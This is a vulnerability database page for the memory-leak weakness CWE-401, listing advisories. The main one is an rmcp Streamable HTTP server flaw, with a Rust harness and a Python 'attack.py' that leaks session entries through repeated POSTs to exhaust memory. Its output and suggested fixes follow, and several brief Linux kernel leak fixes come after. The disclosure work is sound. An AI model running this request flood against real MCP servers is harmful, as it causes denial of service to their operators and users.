Common Weakness Enumeration

CWE-401

Allowed

Missing Release of Memory after Effective Lifetime

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.

2171 vulnerabilities reference this CWE, most recent first.

GHSA-9PJ6-VHGR-3MWH

Vulnerability from github – Published: 2026-09-16 22:13 – Updated: 2026-09-16 22:13
VLAI
Summary
RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service
Details

Summary

An unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of LocalSessionManager by sending a well-formed JSON-RPC POST that is not an InitializeRequest. The Streamable HTTP server's handle_post allocates the session before it validates the body, then early-returns on the validation failure without calling close_session. The LocalSessionHandle (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly 170 million leaked entries per day, equivalent to ≈75 GB of resident memory just from the session table.

Details

The bug lives in crates/rmcp/src/transport/streamable_http_server/tower.rs inside StreamableHttpService::handle_post. The relevant slice of 1.7.0 source (lines 1126–1170) is:

} else {
    let (session_id, transport) = self
        .session_manager
        .create_session()                                                  // (★)
        .await
        .map_err(internal_error_response("create session"))?;
    // ...capture init params if a SessionStore is configured...
    if let ClientJsonRpcMessage::Request(req) = &mut message {
        let ClientRequest::InitializeRequest(init_req) = &req.request else {
            return Err(unexpected_message_response("initialize request")); // (A)
        };
        validate_header_matches_init_body(                                 // (B)
            &part.headers,
            init_req.params.protocol_version.as_str(),
            Some(req.id.clone()),
        )?;
        req.request.extensions_mut().insert(part);
    } else {
        return Err(unexpected_message_response("initialize request"));     // (C)
    }
    let service = self
        .get_service()                                                     // (D)
        .map_err(internal_error_response("get service"))?;
    Self::spawn_session_worker(                                            // (★★)
        self.session_manager.clone(),
        session_id.clone(),
        service,
        transport,
        None,
    );
    // ...persist to external store, send response...
}

Two facts make this unsafe:

  1. (★) inserts a LocalSessionHandle into LocalSessionManager.sessions (a tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>) and spawns a LocalSessionWorker task.
  2. (★★) spawn_session_worker is the only code path in the entire transport (besides a client-initiated HTTP DELETE reaching handle_delete) that ever invokes self.session_manager.close_session(&session_id).

Therefore the four early-returns (A), (B), (C), and (D) all skip the cleanup. What happens concretely after such an early return:

  • The local transport: WorkerTransport<LocalSessionWorker> goes out of scope; its _drop_guard cancels the worker's CancellationToken.
  • The worker, which had been awaiting event_rx.recv(), exits within milliseconds via WorkerQuitReason::Cancelled. Its event_rx receiver is dropped.
  • LocalSessionHandle.event_tx (the Sender half of the same mpsc channel) is still alive because it is owned by the HashMap entry that nothing ever removes. The channel's Inner (sized to channel_capacity = 16 by default) remains pinned in memory.

Because the worker has already exited, the SessionConfig::keep_alive and init_timeout cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore permanent for the lifetime of the server process and grows unbounded with sustained traffic.

The bug is reachable with zero authentication, the default StreamableHttpServerConfig, and the default LocalSessionManager. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate Host: <bound-address> value and is allowed through validate_dns_rebinding_headers normally.

A secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes self.sessions.write().await or .read().await against the same RwLock. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, before the box runs out of memory.

Proof of concept

The reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.

Step 1 — server harness

Cargo.toml (paste verbatim):

[package]
name = "rmcp_leak_repro"
version = "0.0.1"
edition = "2021"
publish = false

[dependencies]
rmcp = { version = "1.7.0", default-features = false, features = [
    "server",
    "transport-streamable-http-server",
] }
tokio = { version = "1", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }
tokio-util = { version = "0.7" }
axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] }
anyhow = "1"

[workspace]

src/main.rs (paste verbatim):

//! Minimal MCP Streamable HTTP server that prints the size of the
//! LocalSessionManager.sessions HashMap once a second so the leak is
//! observable from stdout.

use std::sync::Arc;

use rmcp::{
    ErrorData, RoleServer, ServerHandler,
    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},
    service::RequestContext,
    transport::{
        StreamableHttpServerConfig, StreamableHttpService,
        streamable_http_server::session::local::LocalSessionManager,
    },
};

const BIND_ADDRESS: &str = "127.0.0.1:8000";

#[derive(Clone, Default)]
struct MinimalServer;

impl ServerHandler for MinimalServer {
    async fn initialize(
        &self,
        _request: InitializeRequestParams,
        _cx: RequestContext<RoleServer>,
    ) -> Result<InitializeResult, ErrorData> {
        Ok(InitializeResult::new(ServerCapabilities::builder().build())
            .with_server_info(Implementation::new("rmcp-leak-repro", "0.0.1")))
    }
}

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let ct = tokio_util::sync::CancellationToken::new();
    let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default());

    // Reporter — prints sessions.len() every second.
    {
        let manager = manager.clone();
        let ct = ct.clone();
        tokio::spawn(async move {
            loop {
                tokio::select! {
                    _ = ct.cancelled() => break,
                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => {
                        let n = manager.sessions.read().await.len();
                        println!("[count] active_sessions={n}");
                    }
                }
            }
        });
    }

    let service = StreamableHttpService::new(
        || Ok(MinimalServer::default()),
        manager.clone(),
        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),
    );

    let router = axum::Router::new().nest_service("/mcp", service);
    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;
    println!("[server] listening on http://{BIND_ADDRESS}/mcp");

    let _ = axum::serve(tcp_listener, router)
        .with_graceful_shutdown(async move {
            tokio::signal::ctrl_c().await.ok();
            ct.cancel();
        })
        .await;
    Ok(())
}

Start it:

cargo run --release

Initial output:

[server] listening on http://127.0.0.1:8000/mcp
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0

Step 2 — attacker

attack.py (paste verbatim — Python 3 standard library only, no pip install required):

import http.client, json, sys, time

HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"

# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,
# but NOT an `InitializeRequest`. The server's `let ... else` pattern at
# tower.rs:1148 rejects it after the session has already been created
# at tower.rs:1129.
body = json.dumps({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/list",
    "params": {},
}).encode("ascii")

headers = {
    "Host": f"{HOST}:{PORT}",                        # passes allowed_hosts
    "Content-Type": "application/json",
    "Accept": "application/json, text/event-stream",
    "Content-Length": str(len(body)),
}

n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}")
start = time.monotonic()
leaked = 0
for i in range(n):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    conn.request("POST", PATH, body=body, headers=headers)
    resp = conn.getresponse()
    status = resp.status
    resp.read()
    conn.close()
    if status == 422:
        leaked += 1
elapsed = time.monotonic() - start
print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")

Run it:

python3 attack.py 1000

Step 3 — observed evidence

Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS):

[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp
[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).

Server output during and after the attack:

[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=844
[count] active_sessions=1000      <-- attack complete, attacker has disconnected
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000      <-- 20+ seconds later, still 1000
[count] active_sessions=1000
[count] active_sessions=1000

The behavioural evidence that confirms the vulnerability:

  • Every one of the 1 000 requests took the leak branch (HTTP 422 Unprocessable Entity with body Unexpected message, expect initialize request).
  • A single Python client sustained 1000 / 0.46 ≈ 2 174 leak requests per second.
  • After the attacker exited, active_sessions=1000 never decreased. The session table holds those entries for the rest of the process's lifetime.

poc

Impact

  • Attack vector: Network (AV:N). The listener binds a TCP port; the default allowed_hosts = ["localhost", "127.0.0.1", "::1"] accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened allowed_hosts to a public hostname, the attack is reachable from the network.
  • Authentication required: None.
  • User interaction required: None.
  • Result: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the SessionId Arc<str>, the LocalSessionHandle struct, and the half-dropped mpsc channel Inner). At the measured rate of 2 174 leak requests per second from one Python client:
    • 1 hour: ~7.8 M entries, ≈3.5 GB
    • 1 day: ~187 M entries, ≈84 GB
    • 1 week: process is long dead from OOM
  • Secondary effect: LocalSessionManager.sessions is behind a tokio::sync::RwLock. Every legitimate session operation (has_session, create_session, close_session, restore_session) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.
  • Worst case: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.

Suggested fix

Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.

  1. Validate before allocating. Move the ClientJsonRpcMessage::Request(InitializeRequest) discriminant check and the validate_header_matches_init_body call above the self.session_manager.create_session().await line. Reject non-initialize bodies with 422 before any state is created. This removes a class of bugs rather than patching one path. The downside is that validate_header_matches_init_body currently reads init_req.params.protocol_version, so the InitializeRequest discriminant has to be deconstructed earlier — a small refactor.
  2. RAII guard for the session. Wrap the session_id returned by create_session in a guard whose Drop impl spawns a close_session call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.

A regression test that asserts session_manager.sessions.read().await.len() == 0 after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rmcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:13:34Z",
    "nvd_published_at": "2026-09-16T15:17:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of `LocalSessionManager` by sending a well-formed JSON-RPC `POST` that is *not* an `InitializeRequest`. The Streamable HTTP server\u0027s `handle_post` allocates the session **before** it validates the body, then early-returns on the validation failure without calling `close_session`. The `LocalSessionHandle` (and the tokio mpsc channel internals it holds) is never released for the remainder of the process\u0027s lifetime \u2014 turning a ~250-byte request into a permanent ~400\u2013550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly **170 million leaked entries per day**, equivalent to **\u224875 GB** of resident memory just from the session table.\n\n### Details\n\nThe bug lives in `crates/rmcp/src/transport/streamable_http_server/tower.rs` inside `StreamableHttpService::handle_post`. The relevant slice of `1.7.0` source (lines `1126\u20131170`) is:\n\n```rust\n} else {\n    let (session_id, transport) = self\n        .session_manager\n        .create_session()                                                  // (\u2605)\n        .await\n        .map_err(internal_error_response(\"create session\"))?;\n    // ...capture init params if a SessionStore is configured...\n    if let ClientJsonRpcMessage::Request(req) = \u0026mut message {\n        let ClientRequest::InitializeRequest(init_req) = \u0026req.request else {\n            return Err(unexpected_message_response(\"initialize request\")); // (A)\n        };\n        validate_header_matches_init_body(                                 // (B)\n            \u0026part.headers,\n            init_req.params.protocol_version.as_str(),\n            Some(req.id.clone()),\n        )?;\n        req.request.extensions_mut().insert(part);\n    } else {\n        return Err(unexpected_message_response(\"initialize request\"));     // (C)\n    }\n    let service = self\n        .get_service()                                                     // (D)\n        .map_err(internal_error_response(\"get service\"))?;\n    Self::spawn_session_worker(                                            // (\u2605\u2605)\n        self.session_manager.clone(),\n        session_id.clone(),\n        service,\n        transport,\n        None,\n    );\n    // ...persist to external store, send response...\n}\n```\n\nTwo facts make this unsafe:\n\n1. `(\u2605)` inserts a `LocalSessionHandle` into `LocalSessionManager.sessions` (a `tokio::sync::RwLock\u003cHashMap\u003cSessionId, LocalSessionHandle\u003e\u003e`) and spawns a `LocalSessionWorker` task.\n2. `(\u2605\u2605)` `spawn_session_worker` is the **only** code path in the entire transport (besides a client-initiated HTTP `DELETE` reaching `handle_delete`) that ever invokes `self.session_manager.close_session(\u0026session_id)`.\n\nTherefore the four early-returns `(A)`, `(B)`, `(C)`, and `(D)` all skip the cleanup. What happens concretely after such an early return:\n\n- The local `transport: WorkerTransport\u003cLocalSessionWorker\u003e` goes out of scope; its `_drop_guard` cancels the worker\u0027s `CancellationToken`.\n- The worker, which had been awaiting `event_rx.recv()`, exits within milliseconds via `WorkerQuitReason::Cancelled`. Its `event_rx` receiver is dropped.\n- `LocalSessionHandle.event_tx` (the `Sender` half of the same mpsc channel) is still alive **because it is owned by the HashMap entry that nothing ever removes**. The channel\u0027s `Inner` (sized to `channel_capacity = 16` by default) remains pinned in memory.\n\nBecause the worker has already exited, the `SessionConfig::keep_alive` and `init_timeout` cleanup paths cannot run either \u2014 they only fire from inside a running worker. The leak is therefore **permanent for the lifetime of the server process** and grows unbounded with sustained traffic.\n\nThe bug is reachable with **zero authentication**, the **default** `StreamableHttpServerConfig`, and the **default** `LocalSessionManager`. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate `Host: \u003cbound-address\u003e` value and is allowed through `validate_dns_rebinding_headers` normally.\n\nA secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes `self.sessions.write().await` or `.read().await` against the same `RwLock`. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, **before** the box runs out of memory.\n\n### Proof of concept\n\nThe reproduction is fully self-contained \u2014 no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.\n\n#### Step 1 \u2014 server harness\n\n`Cargo.toml` (paste verbatim):\n\n```toml\n[package]\nname = \"rmcp_leak_repro\"\nversion = \"0.0.1\"\nedition = \"2021\"\npublish = false\n\n[dependencies]\nrmcp = { version = \"1.7.0\", default-features = false, features = [\n    \"server\",\n    \"transport-streamable-http-server\",\n] }\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"signal\", \"sync\", \"time\"] }\ntokio-util = { version = \"0.7\" }\naxum = { version = \"0.8\", default-features = false, features = [\"http1\", \"tokio\"] }\nanyhow = \"1\"\n\n[workspace]\n```\n\n`src/main.rs` (paste verbatim):\n\n```rust\n//! Minimal MCP Streamable HTTP server that prints the size of the\n//! LocalSessionManager.sessions HashMap once a second so the leak is\n//! observable from stdout.\n\nuse std::sync::Arc;\n\nuse rmcp::{\n    ErrorData, RoleServer, ServerHandler,\n    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},\n    service::RequestContext,\n    transport::{\n        StreamableHttpServerConfig, StreamableHttpService,\n        streamable_http_server::session::local::LocalSessionManager,\n    },\n};\n\nconst BIND_ADDRESS: \u0026str = \"127.0.0.1:8000\";\n\n#[derive(Clone, Default)]\nstruct MinimalServer;\n\nimpl ServerHandler for MinimalServer {\n    async fn initialize(\n        \u0026self,\n        _request: InitializeRequestParams,\n        _cx: RequestContext\u003cRoleServer\u003e,\n    ) -\u003e Result\u003cInitializeResult, ErrorData\u003e {\n        Ok(InitializeResult::new(ServerCapabilities::builder().build())\n            .with_server_info(Implementation::new(\"rmcp-leak-repro\", \"0.0.1\")))\n    }\n}\n\n#[tokio::main]\nasync fn main() -\u003e anyhow::Result\u003c()\u003e {\n    let ct = tokio_util::sync::CancellationToken::new();\n    let manager: Arc\u003cLocalSessionManager\u003e = Arc::new(LocalSessionManager::default());\n\n    // Reporter \u2014 prints sessions.len() every second.\n    {\n        let manager = manager.clone();\n        let ct = ct.clone();\n        tokio::spawn(async move {\n            loop {\n                tokio::select! {\n                    _ = ct.cancelled() =\u003e break,\n                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) =\u003e {\n                        let n = manager.sessions.read().await.len();\n                        println!(\"[count] active_sessions={n}\");\n                    }\n                }\n            }\n        });\n    }\n\n    let service = StreamableHttpService::new(\n        || Ok(MinimalServer::default()),\n        manager.clone(),\n        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),\n    );\n\n    let router = axum::Router::new().nest_service(\"/mcp\", service);\n    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;\n    println!(\"[server] listening on http://{BIND_ADDRESS}/mcp\");\n\n    let _ = axum::serve(tcp_listener, router)\n        .with_graceful_shutdown(async move {\n            tokio::signal::ctrl_c().await.ok();\n            ct.cancel();\n        })\n        .await;\n    Ok(())\n}\n```\n\nStart it:\n\n```bash\ncargo run --release\n```\n\nInitial output:\n\n```\n[server] listening on http://127.0.0.1:8000/mcp\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n```\n\n#### Step 2 \u2014 attacker\n\n`attack.py` (paste verbatim \u2014 Python 3 standard library only, no `pip install` required):\n\n```python\nimport http.client, json, sys, time\n\nHOST, PORT, PATH = \"127.0.0.1\", 8000, \"/mcp\"\n\n# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,\n# but NOT an `InitializeRequest`. The server\u0027s `let ... else` pattern at\n# tower.rs:1148 rejects it after the session has already been created\n# at tower.rs:1129.\nbody = json.dumps({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/list\",\n    \"params\": {},\n}).encode(\"ascii\")\n\nheaders = {\n    \"Host\": f\"{HOST}:{PORT}\",                        # passes allowed_hosts\n    \"Content-Type\": \"application/json\",\n    \"Accept\": \"application/json, text/event-stream\",\n    \"Content-Length\": str(len(body)),\n}\n\nn = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 1000\nprint(f\"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}\")\nstart = time.monotonic()\nleaked = 0\nfor i in range(n):\n    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)\n    conn.request(\"POST\", PATH, body=body, headers=headers)\n    resp = conn.getresponse()\n    status = resp.status\n    resp.read()\n    conn.close()\n    if status == 422:\n        leaked += 1\nelapsed = time.monotonic() - start\nprint(f\"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).\")\n```\n\nRun it:\n\n```bash\npython3 attack.py 1000\n```\n\n#### Step 3 \u2014 observed evidence\n\nAttacker output (verbatim, measured on Rust 1.92.0 stable, macOS):\n\n```\n[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp\n[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).\n```\n\nServer output during and after the attack:\n\n```\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=844\n[count] active_sessions=1000      \u003c-- attack complete, attacker has disconnected\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000      \u003c-- 20+ seconds later, still 1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n```\n\nThe behavioural evidence that confirms the vulnerability:\n\n- Every one of the 1 000 requests took the leak branch (`HTTP 422 Unprocessable Entity` with body `Unexpected message, expect initialize request`).\n- A single Python client sustained `1000 / 0.46 \u2248 2 174` leak requests per second.\n- After the attacker exited, `active_sessions=1000` never decreased. The session table holds those entries for the rest of the process\u0027s lifetime.\n\n\u003c!--\n  Optional: drop in a terminal screenshot here. Two screenshots\n  (server console / attacker console) or one side-by-side capture are\n  both fine. Filenames can be anything you like; suggested:\n    ![server console \u2014 active_sessions climbs to 1000 and remains](server.png)\n    ![attacker console \u2014 1000/1000 HTTP 422 in 0.46s](attacker.png)\n--\u003e\n\n\u003cimg width=\"3554\" height=\"1468\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6\" /\u003e\n\n\n### Impact\n\n- **Attack vector**: Network (AV:N). The listener binds a TCP port; the default `allowed_hosts = [\"localhost\", \"127.0.0.1\", \"::1\"]` accepts anything reaching it over the loopback interface. In the dominant deployment model \u2014 a Streamable HTTP MCP server embedded into an IDE or local agent \u2014 any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened `allowed_hosts` to a public hostname, the attack is reachable from the network.\n- **Authentication required**: None.\n- **User interaction required**: None.\n- **Result**: Denial of Service. Memory grows linearly with attacker request volume (~400\u2013550 bytes per leaked entry, including the `SessionId` `Arc\u003cstr\u003e`, the `LocalSessionHandle` struct, and the half-dropped mpsc channel `Inner`). At the measured rate of 2 174 leak requests per second from one Python client:\n    - **1 hour**: ~7.8 M entries, \u22483.5 GB\n    - **1 day**: ~187 M entries, \u224884 GB\n    - **1 week**: process is long dead from OOM\n- **Secondary effect**: `LocalSessionManager.sessions` is behind a `tokio::sync::RwLock`. Every legitimate session operation (`has_session`, `create_session`, `close_session`, `restore_session`) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.\n- **Worst case**: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.\n\n### Suggested fix\n\nTwo minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.\n\n1. **Validate before allocating.** Move the `ClientJsonRpcMessage::Request(InitializeRequest)` discriminant check and the `validate_header_matches_init_body` call **above** the `self.session_manager.create_session().await` line. Reject non-initialize bodies with `422` *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that `validate_header_matches_init_body` currently reads `init_req.params.protocol_version`, so the `InitializeRequest` discriminant has to be deconstructed earlier \u2014 a small refactor.\n2. **RAII guard for the session.** Wrap the `session_id` returned by `create_session` in a guard whose `Drop` impl spawns a `close_session` call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically \u2014 including future early-returns that reviewers might miss.\n\nA regression test that asserts `session_manager.sessions.read().await.len() == 0` after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.",
  "id": "GHSA-9pj6-vhgr-3mwh",
  "modified": "2026-09-16T22:13:34Z",
  "published": "2026-09-16T22:13:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-9pj6-vhgr-3mwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/pull/934"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/commit/dfa7fd6f9309deab60bea230b041be9a3fcda846"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/rust-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/releases/tag/rmcp-v2.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service"
}

GHSA-9PV7-RCFR-X287

Vulnerability from github – Published: 2024-03-25 09:32 – Updated: 2024-12-12 18:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

net: fec: fix the potential memory leak in fec_enet_init()

If the memory allocated for cbd_base is failed, it should free the memory allocated for the queues, otherwise it causes memory leak.

And if the memory allocated for the queues is failed, it can return error directly.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-47150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-25T09:15:09Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: fec: fix the potential memory leak in fec_enet_init()\n\nIf the memory allocated for cbd_base is failed, it should\nfree the memory allocated for the queues, otherwise it causes\nmemory leak.\n\nAnd if the memory allocated for the queues is failed, it can\nreturn error directly.",
  "id": "GHSA-9pv7-rcfr-x287",
  "modified": "2024-12-12T18:30:51Z",
  "published": "2024-03-25T09:32:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47150"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/15102886bc8f5f29daaadf2d925591d564c17e9f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/20255d41ac560397b6a07d8d87dcc5e2efc7672a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/32a1777fd113335c3f70dc445dffee0ad1c6870f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/619fee9eb13b5d29e4267cb394645608088c28a8"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8ee7ef4a57a9e1228b6f345aaa70aa8951c7e9cd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9PVH-F984-W7RJ

Vulnerability from github – Published: 2025-10-07 18:31 – Updated: 2026-02-05 15:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

soc: aspeed: socinfo: Add kfree for kstrdup

Add kfree() in the later error handling in order to avoid memory leak.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-07T16:15:44Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nsoc: aspeed: socinfo: Add kfree for kstrdup\n\nAdd kfree() in the later error handling in order to avoid memory leak.",
  "id": "GHSA-9pvh-f984-w7rj",
  "modified": "2026-02-05T15:31:08Z",
  "published": "2025-10-07T18:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53617"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6e6d847a8ce18ab2fbec4f579f682486a82d2c6b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b662856b71343d9e731c1cd4bbe54758c7791abb"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d9a5ad4477d2a11e9b03f00c52694451e9332228"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/dfb9676ed25be25ca7cd198d0f0e093b76b7bc7f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9Q42-QQ54-FWVJ

Vulnerability from github – Published: 2025-02-27 03:34 – Updated: 2025-03-05 21:32
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

iommu: Fix potential memory leak in iopf_queue_remove_device()

The iopf_queue_remove_device() helper removes a device from the per-iommu iopf queue when PRI is disabled on the device. It responds to all outstanding iopf's with an IOMMU_PAGE_RESP_INVALID code and detaches the device from the queue.

However, it fails to release the group structure that represents a group of iopf's awaiting for a response after responding to the hardware. This can cause a memory leak if iopf_queue_remove_device() is called with pending iopf's.

Fix it by calling iopf_free_group() after the iopf group is responded.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21770"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-27T03:15:17Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu: Fix potential memory leak in iopf_queue_remove_device()\n\nThe iopf_queue_remove_device() helper removes a device from the per-iommu\niopf queue when PRI is disabled on the device. It responds to all\noutstanding iopf\u0027s with an IOMMU_PAGE_RESP_INVALID code and detaches the\ndevice from the queue.\n\nHowever, it fails to release the group structure that represents a group\nof iopf\u0027s awaiting for a response after responding to the hardware. This\ncan cause a memory leak if iopf_queue_remove_device() is called with\npending iopf\u0027s.\n\nFix it by calling iopf_free_group() after the iopf group is responded.",
  "id": "GHSA-9q42-qq54-fwvj",
  "modified": "2025-03-05T21:32:06Z",
  "published": "2025-02-27T03:34:05Z",
